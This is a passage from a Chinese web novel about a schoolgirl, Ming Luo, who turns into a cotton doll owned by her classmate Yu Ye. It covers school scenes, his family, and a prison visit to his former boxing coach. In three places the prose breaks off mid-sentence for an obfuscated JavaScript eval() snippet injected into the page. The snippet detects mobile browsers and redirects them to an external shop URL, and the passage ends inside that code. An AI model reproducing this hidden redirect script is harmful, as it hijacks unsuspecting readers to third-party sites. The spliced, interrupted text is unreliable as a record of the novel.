陈莉佳把她拐到一边,严肃道:“我跟你说,你可千万别说出去。我姨妈在监狱工作,之前帮我开家长会,见到喻也,悄悄告诉我,她亲眼看见过他进监狱探望囚犯!不过那时她不知道那是我同学,也就没问他去看的是谁,但你想想,囚犯诶!说不定就是他家里人。家人都这么危险,他肯定也不是什么善茬,咱们还是远离点好。” 喻也的妈妈爸爸都好好的,肯定不会是他们。明萝有心反驳,又不知怎么说,突然想到精品店门口,跟喻也打招呼的三个“混混”朋友。 人们都说,人以群分。说实话,如果不是因为被他捡回家,她可能也会和班长有一样的想法。 可经过这两天的相处,她知道,喻也是一个连熊孩子和玩偶娃娃都会耐心对待的人。这样的人…… 明萝垂下眼,坚定地说:“我相信喻也他不是坏人。” 陈莉佳睨着她:“你才转来,怎么会了解他啊?我跟他同班一年多,还是班长,就这都没说过几句话。小乖乖,再帅的帅哥跟罪犯扯上关系,那都不能是好人。” 明萝没办法解释,只能说:“真的不是的,他周五放学路上帮过我。” “真假的?他那么热心呢?”陈莉佳意外极了,若有所思地看着明萝,“好吧,那看来他对你还是蛮好的。” “是因为他人好。”明萝认真地看着陈莉佳,“不管怎样,谢谢你提醒我,班长你也很好。” 陈莉佳脸微微红:“这有什么……” 她目光乱飞,正好捕捉到不远处的一名女生,指给明萝。 “我想起来了,之前我们女生聚餐,也有人议论过喻也,说他初中就一直练拳,还整天冷着张脸,不爱理人,看上去很可怕。那个叫张子涵的女生跟你一样,当场就反驳回去,说喻也不是坏人,好像也专门帮过她?” 陈莉佳耸了耸肩,“你们一个二个都这么说,可能真的是我冤枉他了。” 明萝“嗯”了一声,看向那名叫张子涵的女生。 斯斯文文,很清秀,是看一眼就会让人生出好感的类型。 路过篮球场,张子涵停了下来,目不转睛,嘴角也浮起笑。 明萝顺着她正对的方向望过去,看见场上,一身黑色球衣的喻也。 他恰好投进一个三分球。阳光朗照,喝彩声中,少年波澜不惊地整理了一下护腕,很是耀眼。 她却不知为何心里一慌,低下头。 陈莉佳在旁边问怎么了,明萝说:“你接着跟大家聊天吧,我口有点渴,想先回教室。” “行呀,我听到好玩的回去告诉你,不过你这么一说,我也有点渴了,想喝AD钙。” “那我买水的时候帮你带一瓶,常温的?” “好耶!”陈莉佳对她飞吻一下。明萝心里不好意思,挤出笑容,逃也似地离开。 走到操场口,她想起中午吃饭的事。 班长回家就餐,其他几个与她聊过天的女生,也各自有固定的饭搭子。 她前两天身为娃娃,不用进食,其他时候也都跟喻也待在一起,但现在不一样了。 当娃娃时不必考虑的事,变回人,就要去面对。一个人在食堂吃饭、听不懂已经相处一年多的同学们间开玩笑,还有……喻也。 也许他是娃娃明萝的朋友,但不是人类明萝的朋友。 他也早已有其他彼此间更了解的友人,比如那几个一起打球的男生,比如张同学。 明萝对陈莉佳说,喻也帮了她,其实他帮的是娃娃。但专门帮了张同学,是怎么帮的呢?不管怎么帮,帮的都是她这个人吧。 中午独自在喧闹的食堂吃饭,她吃得还很香,现在却生出一股羡慕。 篮球场上,喻也又进一球。 欢呼声起,他神色平静,只朝操场口的方向望了一眼。 “看哪呢?”队友说,“打球不专心。” “输不了。” 喻也认真地看向队友,“问你个问题。” 他顿了一下,有些烦躁。 “可怕到让人看见就想跑,怎么办?” 离开操场,明萝直接买了一排AD钙奶,一共四瓶。 距离下课十分钟,陈莉佳和另一名女生有说有笑,回到座位,她分给她们,三人一人一瓶。 明萝也顺利加上女生的企鹅。 暂时没法很好地融入,没关系,她会努力交朋友的。 新朋友多起来,也许,就不会有落差感了吧。 明萝抱着手机,看向对喻也发出的好友申请,睫毛低低垂着。 一名男生走近,她下意识反扣手机,抬起头。 男生站在明萝前面的空座位旁,问她:“我找班长有事,她没在吗?” “班长去办公室问题了。” “哦,那算了。” 男生笑眯眯地看着她,“还没有正式和你打过招呼,我叫齐岳,是班上的副班长。班长平时挺忙的,要不你加一下我的企鹅,有什么问题就不用麻烦她了,直接来问我。” 于是明萝又多了一位新朋友。 她解锁手机,屏幕上是添加好友的界面,最上面一排,拳击明星的头像很醒目。 齐岳收回眼,望向桌上仅剩下一瓶的AD钙。 “这个能请我喝吗?”他问,“我小时候最爱喝这个了,好怀念的味道。下次我回请你。” 明萝怔了一下,想起喻也家庭聚餐那天。 喻也爸爸开了瓶红酒,给喻也妈妈与自己倒完,瞥见喻也,和他面前的空杯子。 “看什么看,未成年不许喝酒。”他大手一挥,“给你点瓶哇哈哈AD钙,童年的味道。” 喻也冷哼一声:“不喝这种小孩饮料。” 想到他那时候的语气,明萝不自觉弯了弯眼睛。 她对齐岳说:“不用回请了,你喝吧。” 齐岳笑得更深了:“那怎么行。” 喻也走进教室后门,就看见他们一前一后,一站一坐,相视而笑。 站着的那个,手里的AD钙,坐着的人桌上也有一瓶。两人都拿着手机,停留在加完好友,弹出来的聊天页。 喻也露出不感兴趣的表情,把外套重重扔在课桌上,拎着半满的水杯,转身就走。 身后传来女生细细的声音:“喻也。” 喻也回眸后,明萝才看见他手拿水杯。 又见他面无表情,似乎一脸不耐烦,她忙说:“那个……没什么事,你先去接水吧。” 喻也脚步没动,深黑的眼睛看着她。 明萝被他看得更慌,解释道:“我就是想说,刚才班长拉我进班群,我在里面加了你好友。你不想加也没关系,主要是前后排,我想,加了方便交流,什么的。” 她越说声音越小。 喻也手指勾着水杯绳,风一吹,杯子微微摇晃。他回到座位。 “副班长没有告诉你吗?” 他淡淡地说,“除了我申请固定坐最后一排,班上座位滚动。下个周一,你就会换到前面去。” 明萝睁大了眼睛。 喻也抿了下唇,下巴扬了扬,示意她朝前看。 “如果你只是想加后排,那个第一排的女生,才是你该加的。” 明萝恍然大悟,回过头看着喻也:“谢谢你告诉我,我会去加她的。” 喻也嗯了声,表情冷冷的,再次起身。 明萝:“但是我也想加你。” 椅子在地面划出细响,喻也已经站了起来,但没有再离开。 他的手撑在桌子上,眼睛倒映着她,瞳仁轻动一下。 “不是前后排。”明萝攥紧手机,“……不可以吗?” 她没好意思直视他,目光下落。 刚运动完,撑在桌面的手臂,肌肉劲勃,冷白颜色,攀着明显的青筋,一直蜿蜒到手背。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292265|198504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过去时,那只手恰好动了动,青筋起伏,骨骼屈起微微的弧度。 明萝立刻想起前几天,这只手是如何揉着她的。 当娃娃时只觉得痒,如今,后背却泛起异样的酥麻。 碰巧下课铃打响,她震了一下,忙转回身。 这段下课铃打到结束,刚恢复正常的背,被一支笔戳了戳。 明萝又轻轻颤了一下,半回过头。 喻也:“看手机。” 说完就走出教室。 这次没有拿水杯。 等他背影消失,明萝解锁手机。 【yuye通过了你的好友申请】 【你们已成功添加为好友,现在可以开始聊天了!】 yuye:可以。 【你们开启了第一句对话,获得小幸运[萌芽]】 明萝盯着那株嫩绿色的小萌芽,没忍住按下截屏。 开心。 不是作为娃娃,而是作为人类,离与喻也成为真正的朋友,更近一步。 但还没有开心多久,晚自习放学后,明萝背上书包,就又一次变成了娃娃。 她刚问完老师一道难题,回教室时,班上的同学,已经走得差不多了,住宿生也都坐在前排,没人注意到这边小小的动静。 后门开关,传来压低的说话声:“喻也,你值完日了?” “没事,就是本来想跟你换一下,我下个周值日,跟合唱社排练撞了。” 喻也:“可以换。” “我就想着你都值了一天了……嗨,谢了啊兄弟,小弟铭记在心!” 两道足音,一道欢脱,一道沉稳,一起朝她走来。 突然,那道一听就属于喻也的脚步声,猛地变密、变凌乱。 没过几秒,明萝被他牢牢抓在掌心。 喻也嘴唇动了动,黑眸格外明亮。 指腹微微颤着,抹去她脸颊的尘粒。 “咋了?”后面的男生不明所以,“你急着捡啥呢?” 喻也背对他,把娃娃装进书包深处,好好扣起来,头也没回地轻声说:“捡我的麻烦。” 男生一头雾水地走了。 喻也这才把书包打开,仔仔细细,凝望失而复得的娃娃。 那是非常珍惜,惊喜,又自责的眼神。 明萝不能说不开心,但这种开心,跟白天加好友的开心,完全不一样。 现在的开心,甚至会让那时的开心,蒙上灰尘。 因为她会不自觉地去对比,他看向她与“她”的眼神。 她还没有靠自己,跟喻也成为朋友,就又要被他用这样的眼神注视,等变回人,会不会落差更大。 如果他知道她就是娃娃,又会怎样呢? 坏的答案,好的答案,明萝都不敢想。 喻也回到家,客厅里削苹果的爸爸看来一眼,稀奇道:“娃娃找到了?” 喻也动作一顿,走过去:“你怎么知道?” “看你那小样。昨天回来,一脸苦大仇深,你妈妈还以为你又遇到了什么打击。今天一进门,那步伐轻快的,一看就有好事发生。” 喻也不自然地垂下眸,不置可否。 他随手叉起一块苹果,喻也爸爸把盘子端走:“只能吃这一块,你妈妈今晚加班,这是我专门给她削的。” 喻也见怪不怪,正要放下叉子,突然改了主意,说:“再吃一块。” 喻也爸爸惊讶:“你不是不爱吃苹果吗?” 喻也眨了下眼睛。 “好事成双。” 回到卧室,他才松开夹在斜挎包前的手臂,把娃娃取出来。 是谁把它偷走,又为什么突然还回来,他不得而知,也已经不想计较。 它回来了就好。 可是……娃娃还是那个娃娃,却莫名流露蔫巴巴的气息。 像一株原本茁壮萌发的嫩芽,被人连根拔起。 “你在怪我吗。”喻也低声说,“把你弄丢了。” 明萝听见这话,心里更加难过。 喻也对她很好,她怎么会怪他? 她也不明白自己是怎么了,一路都在胡思乱想,拿他的好来作比较,现在,还让他露出这样的表情。 明萝强行不去想那些奇怪的心情,打起精神,努力把自己变得毛绒顺滑。 喻也看了她好一会,总算放下心,开始写作业,依然让她在一旁陪同。 他今天没打游戏,只是中途看了好几次企鹅。没人找他,他也没找人聊天,不知道看什么。 没多久,又把手机设成勿扰模式,丢到床头充电,闷头写作业,很快就写完了。 喻也合上笔,摸了摸她的脑袋:“你在这里,我去洗澡了。” 明萝无端想到她爸爸。 每次要去做什么之前,他也会这样,向妈妈清楚地报备。 但喻也估计就是顺口一说,跟别的娃娃,也会讲话。 明萝望向那个摆满娃娃的大木柜,第一回发现,她是里面唯一一个女生。 正要再仔细看看,浴室门被猛地拉开。 喻也的手用力攥着门把,目光直射过来。 似乎确认她还在这里,才松了口气。 明萝却顾不上他细微的神情变化—— 他上半身的衣服已经脱掉,锁骨勾勒利落的线条,延伸到宽厚的肩膀。 腹肌比那天在拳馆,更清晰地暴露在她眼前,腰又细,逆着浴室灯光,格外……格外…… 明萝都想不到能用什么词来形容,刹那间,脑海里蹦出了他的名字。 喻也。 很欲。 也很野。 她感觉自己这团棉花,马上就要自燃了。 5. 棉花娃娃05 火上浇油,喻也阔步走向她,拿进了浴室。 他找到一个防水袋,眼看着就要把她装进去,带进淋浴间,跟他一起洗澡。 明萝的心脏都快要跳出来!谢天谢地,喻也爸爸过来找他,暂时打断这危险的举动。 “你也别光顾着跟娃娃玩,写作业要紧……嗯?”喻也爸爸说,“这就写完啦?” “嗯。”喻也垂睫,“今天作业少。” “行,洗了早点睡。” 注意到他手里的明萝,喻也爸爸眯起眼,“别告诉我,你洗个澡也要带着它,至于这么紧张吗?娃娃又没长脚。” 喻也小声说:“你不懂。” “我是不懂,我只知道你这是个女娃娃。” “娃娃又没有真的意识。”喻也不以为意,“它根本看不见。” 不!我看得见!我看得十分清楚啊喻也! 明萝大声呐喊。 叔叔,您快阻止他啊! 在她迫切的、静音的呼声里,喻也爸爸再次朝她笑了笑,说:“也是。”关门离去。 明萝急得不行,恨不能从喻也手里跳下去。 好在喻也话虽那么说,但最后,犹豫了一下,还是将她放在外面的洗脸台,自己走进淋浴,拉上帘。 明萝跟坐过山车似的,急上急下,终于平稳落地。 可随即,听见那水声淅淅沥沥,拍打在喻也身上,她又不淡定了。 热腾腾、香喷喷的水雾飘过来,比他被窝里的味道淡一些,却因为湿润地散在空气中,像一只没有形状的手,浸没她每一丝茸毛。 洗澡的人是他,她反倒晕乎乎的。 喻也穿好睡衣出来,把她简单擦洗一下,带上床睡觉。 他将她牢牢抓在手心,睡着后,也没有放松。 明萝大半颗脑袋都闷在被子里,热得不正常。 她努力往外蠕动。 喻也在睡梦中似有所感,睫毛颤了一下,眉轻蹙起来。 像在不安。 明萝停下动作,过了一会,他又恢复安宁的神色。 她体内紧绷的棉花,也神奇地变得绵软。 闷热渐散,困意笼罩上来,明萝也快睡着时,房门被很轻地推开。 喻也爸爸用气声说:“找到了,开心得连苹果都吃了两块,放心吧。” 喻也妈妈舒了口气,同样压低着声音:“找到就好,昨晚他都没睡好,早上顶着两个大黑眼圈,问我怎么去掉。” 她顿了顿,哼道,“还不是怪你。阿也上小一,最需要树立良好交友观念的时候,卯足了劲扩张酒店,我们两个都忙不过来,别说照顾他了,连他被妈家属院那些小孩排挤都没发现,一天到晚,只能跟妈给他买的娃娃玩,把他们当朋友。这下好,丢个娃娃,跟被绝交了似的。还有之前那个拳击社的事……” “我错了我错了。”喻也爸爸忙低声道。两人关上门,声音渐渐听不见。 明萝困意全无,望着喻也安静的睡颜,看了许久。 他的呼吸洒落头顶,均匀,温浅,抚平困扰她一整个晚上的杂乱心绪。 却又有一些别的念头生出来,久久不能平静。 她在心里面认真地说:晚安,喻也。 不管是哪个明萝,都会努力成为你的朋友。 我不会再丢了。 第二天,叫醒明萝的,不是闹钟,不是阳光,而是脖子处窒息的感觉。 视线惊慌地聚焦,迎面便是喻也放大的脸。 周身的空气好像更稀薄了,过了好一会,明萝才注意到离她更近的,他的手指。 指节若有似无,擦过她脸上的茸毛。 明萝浑身僵硬,被喻也拍了几张照,端到浴室的镜子前,才回过神来。 ——这也太可爱了吧! 镜子里,棉花娃娃头顶毛绒小兔帽子,戴着黑框流泪眼镜,校服前面那不大存在的脖颈处,还系了一条茸茸的白色蝴蝶结。 明萝对着镜子臭美,恨不得让喻也把她旋转一圈,前后左右都看一遍。 这样已经很满意了,没想到,他又拿来一件小小的粉色毛织外套,披在她校服外面。 这就是他之前和爸爸提到过,给她定做的新衣服吗?明萝心花怒放,喜欢得不得了,被抱出浴室,还恋恋不舍。 她要是能自由活动,或者短暂变几分钟人就好了,哪天趁喻也睡着,就偷偷用他的手机,把这些照片发给她,再删掉消息记录,简直完美。 明萝正幻想得有滋有味,被喻也拎起外套后领,带去餐厅。 桌上,一碟超级袖珍的樱桃巧克力布丁小蛋糕,很是醒目。 他把她轻轻放到蛋糕前。 “一夜过去,你的毛倒是顺了不少。” 那是当然。明萝已经决定好不伤心了。 却听他说:“虽然你不会在意了,但我还是要向你道歉。” 明萝怔了怔。 “衣服是弄丢你之前买的,不算数。这是我昨晚找人定做的蛋糕,樱桃是你发卡上的水果……” 喻也微微停顿,低声问:“原谅我?” 明萝的耳朵闷在兔兔帽子里,忽然好痒。 什么原谅不原谅的,根本就不怪你呀。 她有一肚子话想说,可惜半个字都吐不出来,没忍住,动弹了一下。 喻也眸光颤动,怔了好几秒,揉揉眼睛,无奈笑了笑。 “谢谢。”他拿起碟子,“那我替你吃了。” 等等等等。 这就不对了吧。 她的小蛋糕……明萝有心无嘴巴,有泪流不出,只能眼睁睁看着他,吃完那份给她买的小蛋糕。 其实理论上,她现在感受不到饥饿,也根本没办法进食,但看着喻也吃下樱桃,喉结滚动,还是生出一种想吃东西的感觉。 不过,总体来说,这是她最近最开心的一个早晨。 不止她开心,是她和喻也两个人,都开心。 明萝突然不太期待下次变成人了,还有点害怕,看见喻也那时的样子。 前天晚上,她跟妈妈说快要来生理期,肚子疼,可能需要请假,正好妈妈这几天忙着上庭,爸爸在的律所也在忙一个大案子,明萝问她,能不能提前帮她写个假条,到时候直接用,以免他们忙起来,不好联系。 妈妈很相信她,立马签好,拍照发过来。 明萝心虚地打印下来,昨天就交给了老师,说自己一个人在家,万一疼起来,没有来学校,希望老师可以暂时不要联系家长。 之前的班上,请假就是这么容易。所以明萝想得很美好。 反正喻也带着她来学校,课程也不会落下,作业呢,等下次喻也进了精品店,她再撞一回娃娃机,到那时会好好补的。 希望那时,喻也已经有了新的娃娃,失去她,也不会难过到睡不着觉。 但明萝心底,又没有那样希望。 她摇摇摆摆地被喻也背着,来到教室。谁知,完全低估了这所学校,老师认真负责的程度。 早自习快结束,班主任敲了敲陈莉佳的桌子。 “你去手机柜取下自己的手机,看看明萝有没有给你发消息,是不是肚子疼了,这么晚不像迟到。” 陈莉佳看完回来,担忧道:“还是没在线。” 班主任沉声说:“她是给过我假条,一个人在家疼起来,可能也确实顾不上打个电话说一声,但是初中部那边有人在学校附近惹事,校领导刚开会说过这个问题,我想还是得联系到她本人,确认安全为止。这样,你每个课间,关注一下她的在线情况,我去给她家长打电话。” 陈莉佳也严肃起来:“好。” 脚步声匆匆远去。 明萝在喻也的书包里,又是感动,又是慌张。 这怎么办呀?爸爸之前被难缠的客户打扰过,工作和私人手机是分开的,应该暂时联系不到,但妈妈那边就不好说了。她今天正好上庭,接不到班主任的电话还好,万一接到了,听说她这边的情况,担心得直接离场怎么办?! 明萝都要急哭了,第一次讨厌老天,为什么偏要让她变成娃娃! 哭也没有用,她忍住委屈,一下一下顶着喻也的书包,恨不得立刻从这里一路滚到精品店。 喻也注意到抽屉里的动静,反正是最后一排,没人看见,他直接把她从包里取出来,轻轻捏了捏:“你的电池到底装哪了?” 明萝现在根本顾不上别的,直接在他手心里动了起来。 喻也顿了顿,轻声说:“你也在为她担心?” 明萝动作一停。 “你说她为什么不来,肚子疼?”喻也皱了一下眉,“反正应该跟初中部那件事没关系……最好没关系。” 当然没关系。 她为什么不来,答案就在他手里呢。 明萝倦倦地想着,突然听见他很淡地说:“你为她担心也正常。” “其实……” 早自习的下课铃打响。 喻也的气音被淹没其中,不知说了什么。说完,立刻把她放回包里。 明萝急着变人,没心思多想,煎熬地度过这个漫长的上午,被喻也连包放在自行车筐里,骑行回家。 过了一会,她才发现,这不是回他家的路。 自行车停下来,明萝朝外一看,愣了。 ——是陈莉佳提到过的监狱。 由于不是亲属,喻也拿出申请表,被狱警领去探视。 见到他,几位路过的警察笑着打招呼:“又来看你教练啊?” “上回你来一趟,听说你教练当晚难得没失眠,精气神也好了不少,这回你也多劝劝他。” 喻也点点头。 明萝熟练地顶开包扣,偷看这里的环境,都暂时顾不上忧愁妈妈那边。 她大气不敢出,又很好奇,主要是担心喻也。 到底是怎么回事?他的教练,怎么会进监狱? 终于,喻也给申请表盖章的时候,她从旁边狱警的闲聊里,窥得一二。 简单来说,那位吴教练见义勇为,却帮错了人。 他只看见一个壮汉暴打瘦弱的少年,就上去拉架,与壮汉发生冲撞,推搡间,对方不慎摔成重伤。 没想到,少年是一个诈骗犯,后来到了法院,还反咬吴教练一口,称自己是单纯受到斗殴牵连的路人。 吴教练得知真相,主动认罪,把毕生积蓄赔给了壮汉和家属。喻也家长听说伤势后,主动帮忙找了熟悉的医生。 一面玻璃之隔,明萝见到吴教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292266|198504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练,认出他就是拳馆那张照片里,站在喻也旁边的男人。 只不过照片上的人,鹰眼明亮,现在却憔悴暗淡,充满血丝。 喻也问过好,开门见山:“医院那边说,他的术后观察情况很好,已经能正常生活了。” 听见这话,吴教练的泪“唰”一下流出来。 他嚎啕大哭,仿佛终于卸下压在良心上的大山。明萝听得很不好受,不知道能做什么。 喻也耐心地等他哭完,又汇报了一下拳击社众人的近况。 吴教练冷静下来,忧心忡忡:“肖梓涵呢?我听说他最近在初中的校园墙到处找人打架,说是要制裁校园霸凌,但你看我,眼见也不一定为实,更别提他那样道听途说就找上门了。” 明萝十分惊讶。 这不就是班长和班主任刚说过的,那个校园墙喊话的事吗? “谁告诉你的?”喻也皱起眉。 “这你不要管。”吴教练耷拉下眼,“我知道你为什么瞒着我,不就是怕我更自责么。过去我总教你们,要做个正义的人,但自己先走偏了,再看看肖梓涵,真怕他步我的后尘。” “不会。”喻也沉稳地说,“他已经答应我,删掉帖子,好好学习,不会再打架。” “那就好!” 吴教练显然对他很放心,也没多过问,是怎么办到的。只是叹了口气:“肖梓涵这样,也不是不能理解,他那么瘦小一个孩子,要不是初一那年被你撞见,估计现在还在被班上那群男孩欺负呢。他之前最崇拜你,跟着你进了拳击社,眼看着马上到年龄,能实战打比赛,谁知我……连累的社团都解散了。他接受不了,我能懂。” 他又看了眼喻也,戴着镣铐的手压在桌上,骨节泛白。 “但论起来,孩子们里最伤心的也不是他,是你。你平时多么刻苦训练,我都看在眼里,当时眼看着要升高中,又能打新一年龄层的大赛,我进来了,害得学校五年内都不打算再办拳击社。”吴教练哑声道,“是我把你连累了。” 听到这里,明萝很难过。她努力踮起来,想要看一看喻也的表情。 甚至都可以不用看到表情,只是想单纯地看一看他。 但她现在太矮了,怎么也看不到。 过了几秒,喻也淡淡的,又总会让人安心的声音落下来:“没有什么连累不连累,正好我可以丢开拳套,专心学业。” 骗人。 明明每个周末,他还是会戴上拳套,哪怕对着沙包,都能练一整天。 明萝想起他站在拳馆里,凝视合照的眼神,很想知道那个时候的喻也,都在想什么。 还有他对新教练说的那句“不比赛了”。 她现在才明白,是为什么。 那个时候,他又在想什么呢。 吴教练就完全不知道这些事,露出今天第一个笑颜:“也是,哈,你这人四肢发达,头脑也不简单,正儿八经的三好少年,我们社的骄傲!其他社员真该学学你。” 见吴教练情绪好转,时间差不多,喻也带着明萝,离开监狱。 谢天谢地,路过精品店,他停了下来。 给妈妈回电话、报平安的念头,重新出现在明萝脑海中。 她在包里急得团团转,又一次听见他那三个“不良”朋友的声音。 “哥,我们帮你打听了,他上回被你教训过之后,一直老老实实的,今早也按时上学,不可能在路边牵连什么好学生。” “就是呀,而且我打心底说,肖梓涵虽然混账,但没啥坏心,目前还没见他招惹过好人,你这是帮谁问的,是不是搞错了?” 明萝焦急的心神,分过去一些。 肖梓涵? 喻也刚才不是说,他改邪归正了吗,怎么又疑似牵连好学生了,谁啊? 希望不是真的,不然喻也肯定会更难过的吧。 “……知道了。” 喻也请三人喝了饮料,把车在精品店外锁好。 抬起头,玻璃倒映一张凝重的脸。 他看向又开始乱动的挎包某处,扯了扯嘴角,让表情变得轻松。 进了精品店,明萝这一上午的惊慌失措,都凝聚起来,在心里打起鼓。 她努力探头,从书包缝里盯着外面,迫切地等待着,喻也走向夹娃娃机那一刻。 谁知,他这回进店,始终没有前往娃娃机,甚至都没有走向卖玩偶那片区域。 说来无奈。 明明昨晚,她还对着他,满心坚定地许下诺言,说再也不会突然消失。这才过了半天,就一心等着去撞机器,变回人,让他再“弄丢”她一次。 可是,她绝对不可以让妈妈担心。 明萝满心纠结,万分不舍,蹭着喻也的笔袋。 忽然,包盖被掀开。 喻也手里拿着一串小挂件,是樱桃蛋糕的模样。 刚才外面,零碎清脆的声音响了好久,恐怕就是他在找这个。 “早上吃了你的蛋糕,感觉你一直瞪着我。” 喻也无奈地刮了下明萝的鼻子,“你不懂。现实里的蛋糕,吃了就没有了,所以吃不了也没事。” 他把那串小挂件放在她眼前,轻轻摇晃一下。 “你现在有一块永远不会消失的小蛋糕了。” 6. 棉花娃娃06 回家路上,自行车骑得快。 风吹灌车筐,勾在娃娃帽顶的小挂件微微碰动,响起铃音,清新轻盈。 明萝听在耳中,更加难受。 刚才最后,她还是趁喻也路过,撞了娃娃机。 根据上次的经验,这种晕眩感再持续十来分钟,就能恢复原身。明萝决定到时候忍一忍,等喻也去吃饭或者上厕所,再变回人,趁机溜出他家。 想象很美好,可是,她只要一想到他回到房间,发现她又不见了的样子,身体里就闷闷的,像一块被放在热压机里的棉花糖。 明萝叹了口气。 自行车一个急刹,她又晕了些,不敢再想东想西,努力维持娃形。 好不容易回到小区,半途,却有人向喻也打招呼。 他停下车,礼貌回应。 “需要帮忙吗?” “嗐,那不用,我就是巡逻一下用电安全。” 男人应该是小区的保安,吐槽道,“本来,诶,都是监控检查,今明两天,这一块的摄像头要做检修,看不了了,我们得一个区一个区,人工排查……” 他说话嘴碎,不知道什么时候是个头,明萝实在闷得受不了,悄悄把书包顶开。 新鲜空气灌进来,她稍微清醒了一点。 可千万不能在这里就变人呀,加油明萝,你可以的! 明萝憋得嘴巴都开线了,终于,保安大叔说完了。 喻也跟他道别,重新骑上车,回到家楼下的车库。 他从车座下来,车身晃了一下。 明萝脑袋碰到笔袋,眼冒金星,几乎立刻就要现出原形! 完了完了完了完了完了…… 她惊恐地看着正在锁车的喻也,他虽然垂着脑袋,但那双眼睛就正对着她,一会从车筐里蹦出来个五尺大活人,不可能看不见。 明萝的心像被放了一把火,烧成一片死灰。 哪曾想,就在她快烧出真身时,不远处响了一声。 就像一阵清风,把她的灰吹起来一两片。喻也顿了一下,转过身去。 他弯腰找了找,无奈地抱起一只小猫:“怎么又钻到电动车下面,不是警告过你这样很危险的吗。” 是很危险,下次不许这么做了,但是这回,谢谢你啊小猫咪! 明萝感觉自己就是一只气球,吹啊吹啊,马上就要爆掉了,突然被天使般的小猫伸出爪子,放了她的气。 她呼哧一下变成人,偷瞥了眼喻也的背影,轻手轻脚地跑走。 小猫:“咪咪咪。” 喻也冷脸训道:“装傻也没用,不长记性。” 小猫似乎不满被曲解了意思,对着他身后,很大地“咪!”了一声。 喻也挑了下眉,回过头,看见微微摇晃的车筐,敞开的书包,瞳眸骤颤。 有一种非常差的预感。 回到家,明萝马不停蹄,给手机充上电。 一开机,十几通妈妈的未接来电。她眼皮一跳,连忙回拨:“喂,妈妈。” “你这孩子怎么才接电话呀?!”妈妈急道,“真的肚子疼了?去医院看过没有?” “没有,我……” 明萝听见她担忧的语气,羞愧不已,换了个借口,“我睡过了。” 那头静了好几秒,长舒一口气。 “那就好,你吓死我了知道吗?下次不许这样了。” “嗯嗯。”明萝点头如捣蒜。 下次,那还不是得看老天的旨意。天要她变娃娃,她能怎么办。 明萝转了转眼珠:“妈妈你能不能不要告诉爸爸呀,然后跟老师,可以说我肚子疼。” “你还知道丢脸呀?”妈妈数落了她一顿,还是答应了。 明萝偷笑一声,又跟她聊起各自的日常,当然,隐去了变成娃娃的那部分。 临挂电话,她认真地说:“对不起,妈妈,让你担心了。” “可不是吗?我都把下午的会取消了,订票过去,等等还要去把票退了。” 明萝垂下眼。 “其实我……睡醒之后,感触特别多,最大的感触是,能做你和爸爸的孩子,真是太好了。” 被困在娃娃机里,等待有人来抓走她时,她才真正意识到,好看的娃娃到处都是。就连喻也把她抓回去,大概也仅仅是因为,她是其中比较新颖的那一个吧。以后,他还是会买其他娃娃。 但妈妈和爸爸,一定不会因为更好看的娃娃出现,就拿她去作比较、要新的娃娃,甚至,不再喜欢她。 对这世界上其他任何一个人,明萝都没有这样的信心。 人海茫茫。 她只是一柜子娃娃里的一个,从不特殊。 妈妈愣了几秒,哑然失笑:“你都做什么噩梦了啊?” “也不算噩梦吧。”明萝眨了眨眼睛。 算是……好梦,吧。 “那干嘛突然这么说,妈妈和爸爸还没跟你说太好了呢。你一天别胡思乱想,好好上课啊。” 明萝笑嘻嘻地“嗯”了一声,听见忙音,还扬着嘴角。 她有犹豫,到底要不要告诉妈妈,自己会变成娃娃,但刚才,听着她在对面意气风发,讲为了这个案子熬了多少夜,下场庭审会把对方律师打得多么落花流水,就没说出口。 而且,妈妈要是知道,她身上发生了这种稀奇古怪的事,肯定会立刻飞过来,把她24小时揣兜里。 明萝睫毛动了动,打开企鹅,头像旁边亮起在线的标识。 她翻到和喻也的聊天框,犹豫半天,一个字也没打出来,直接退了出去。 不知道他现在是什么表情…… 正这么想着,手机震动一下。 明萝看见小红点左侧的名字,一下子站直了。 她把充电线拔掉,左看右看,轻轻卧到床上,才重新点进聊天界面。 yuye:请问你是? 明萝盯着这四个字好几秒,蹙起眉。 就在这页最上方,还有她好友验证时,备注的留言:喻也你好,我是坐在你前桌的明萝 难道没发过去? 明萝抿了抿嘴,又发一遍。 yuye:哦。 yuye:本来想早上当面问你名字,但你没来学校。 明萝瞬间心虚,睁着眼睛说瞎话:我肚子疼,忘记请假了。 明萝:下次不会了[晕] 喻也大概是刚丢了娃娃,心情不好,或者也可能根本没想知道她下次怎么样。好半天,回了一个:嗯。 明萝把手机一扔,翻身,脸埋进被子里。 干嘛说得那么详细啊…… 但她就是忍不住。对他,她总有种朝夕相处过的亲近感。 单方面把人当作朋友,真的好像个傻子。 她把口袋里,原本穿戴在身上的新衣服、小蛋糕挂件都取出来,挨个摆放在被子上,对它们闷声闷气:“你们说,他现在会不会在手机那头,用那种特别冷淡的语气,对另一只娃娃说我好傻啊。” 没谁能回答她。 明萝郁闷了一中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 